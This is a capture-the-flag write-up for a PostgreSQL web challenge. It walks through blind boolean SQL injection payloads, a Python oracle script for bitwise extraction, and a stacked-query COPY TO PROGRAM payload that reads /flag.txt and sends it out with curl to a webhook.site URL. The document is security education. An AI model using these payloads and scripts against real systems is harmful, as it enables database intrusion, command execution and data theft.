$ cat writeup.md…
$ cat writeup.md…
sunshinectf2026
Task: web app with planet lookup returning boolean signal (carrier/null), injectable SQL WHERE clause on PostgreSQL. Solution: blind boolean SQLi confirms PostgreSQL with stacked queries; probe user has pg_execute_server_program role enabling COPY TO PROGRAM for OS command execution; exfiltrate /flag.txt via OOB curl to webhook.
The Galactic Federation has opened public access to its Planetary Probe Directory, a database of known planets and their telemetry signatures. Your mission is to interface with the probe console and uncover hidden data the Federation would rather keep secret.
The console seems… minimal. No verbose errors, no detailed output — just "signal detected" or "no signal". Can you find a way to communicate with the system, bypass its limited responses, and recover the hidden flag?
English summary: A web application presents a retro-styled "Planetary Directory" console with a single input field for planet names. The GET /probe?planet=<input> endpoint returns a boolean response — either "Signal detected" (carrier) or "No signal" (null). The goal is to exploit the input to recover a hidden flag from the server.
The app has a form at /probe accepting a planet GET parameter. The response indicates one of two states via a CSS class on the <body> element:
is-carrier + "Signal detected" → TRUE (valid planet or true condition)is-null + "No signal" → FALSE (invalid planet, false condition, or SQL error)This is a pure boolean oracle with no error messages or verbose output.
The input is placed directly into a SQL WHERE clause in a single-quote string context:
| Input | Response | Interpretation |
|---|---|---|
MARS | carrier | Valid planet exists |
xyz123 | null | No such planet |
MARS' | null | SQL syntax error (unbalanced quote) |
xyz' OR '1'='1 | carrier | Tautology → TRUE → confirms injection |
xyz' OR 'a'='b | null | False condition → confirms boolean control |
The underlying query is approximately: SELECT ... FROM planets WHERE name = '<INPUT>'
Since the oracle is boolean-only, character extraction uses bitwise decomposition: for each character position, 7 concurrent queries test individual bits of the ASCII value (ascii(substr(expr, i, 1)) & (1<<b) > 0), reconstructing characters from their bit patterns.
Key findings extracted via blind SQLi:
spacedbprobeplanets (8 rows — flavor text only, no flag), plus a hidden zleak table visible only in pg_class (filtered out of information_schema)false — pg_read_file() not availableThe probe database user has the pg_execute_server_program predefined role. This PostgreSQL role grants the ability to use COPY ... TO PROGRAM and COPY ... FROM PROGRAM, which execute arbitrary OS commands on the database server.
The database driver supports multiple statements in a single query, enabling stacked query injection:
x'; SELECT 1 WHERE true; --
This is essential because COPY ... TO PROGRAM cannot be used inside a subquery — it must be a standalone statement.
Build a reusable oracle function that evaluates arbitrary SQL boolean expressions through the injection point. Due to noisy network conditions (~5s latency, occasional flipped bits), use majority voting with 4-5 samples per query:
#!/usr/bin/env python3 """Blind boolean SQLi oracle with majority voting.""" import requests from concurrent.futures import ThreadPoolExecutor BASE = "https://planetary.web.2026.sunshinectf.games/probe" POOL = ThreadPoolExecutor(max_workers=25) def truth_once(payload): for _ in range(6): try: r = requests.get(BASE, params={"planet": payload}, timeout=35) return "is-carrier" in r.text except Exception: pass return None def cond(sql_bool): """Evaluate a SQL boolean expression via the blind oracle.""" payload = f"xyz' OR ({sql_bool}) OR '1'='0" votes = [] for _ in range(5): v = truth_once(payload) if v is not None: votes.append(v) if len(votes) == 3 and votes.count(votes[0]) == 3: break if not votes: return False return sum(votes) > len(votes) / 2
Extract arbitrary SQL expression results character-by-character using concurrent bitwise queries:
def get_string(expr, maxlen=200): """Extract a SQL string expression via bitwise blind SQLi.""" # First determine length via binary search lo, hi = 0, maxlen while lo < hi: mid = (lo + hi + 1) // 2 if cond(f"length(({expr}))>={mid}"): lo = mid else: hi = mid - 1 L = lo if L == 0: return "" # Extract all bits concurrently (7 bits per char position) tasks = [] for i in range(1, L + 1): for b in range(7): tasks.append((i, b, f"(ascii(substr(({expr}),{i},1)) & {1<<b}) > 0")) results = list(POOL.map(lambda t: cond(t[2]), tasks)) chars = {} for (i, b, _), ok in zip(tasks, results): chars.setdefault(i, 0) if ok: chars[i] |= (1 << b) return "".join(chr(chars[i]) for i in range(1, L + 1))
# Confirm PostgreSQL cond("version() LIKE '%PostgreSQL%'") # → True # Get database name get_string("current_database()") # → "spacedb" # Get current user get_string("current_user") # → "probe" # Check for pg_execute_server_program privilege cond("pg_has_role('probe','pg_execute_server_program','MEMBER')") # → True
With pg_execute_server_program confirmed, use stacked queries to execute COPY ... TO PROGRAM, which runs an OS command. Since the oracle is boolean-only (no direct output), exfiltrate data out-of-band via curl to a webhook:
#!/usr/bin/env python3 """OOB exfil via COPY TO PROGRAM: read /flag.txt, base64, curl to webhook.""" import requests, time URL = "https://planetary.web.2026.sunshinectf.games/probe" WEBHOOK = "https://webhook.site/<your-token>" s = requests.Session() def probe(payload): for attempt in range(8): try: r = s.get(URL, params={"planet": payload}, timeout=40) return "carrier" if "is-carrier" in r.text else "null" except Exception as e: print(f" retry {attempt}: {e}") time.sleep(8) return "ERR" # The exploit: stacked query with COPY TO PROGRAM # Reads /flag.txt, base64-encodes it, and sends via curl to webhook payload = ( f"x'; COPY (SELECT '') TO PROGRAM " f"'curl -s {WEBHOOK}/$(cat /flag.txt | base64 -w0 | tr +/ -_) " f">/dev/null'; --" ) print(f"Sending payload...") result = probe(payload) print(f"Result: {result}") print("Check webhook for callback with base64-encoded flag in URL path")
The webhook receives a callback with the base64-encoded flag in the URL path. Decode it to recover sun{REDACTED}.
User Input → SQL WHERE clause (single-quote string context)
→ Blind boolean SQLi (carrier/null oracle)
→ Enumerate PostgreSQL: user=probe, has pg_execute_server_program
→ Stacked query: COPY (SELECT '') TO PROGRAM 'curl ...'
→ OS command execution on DB server
→ OOB exfiltration of /flag.txt via webhook callback
→ sun{REDACTED}
Use this technique when:
COPY ... TO PROGRAM for OS command execution without superuserCOPY as a standalone command$ cat /etc/motd
Liked this one?
Pro unlocks every complete writeup and expanded API access. $9/mo.
$ cat pricing.md$ grep --similar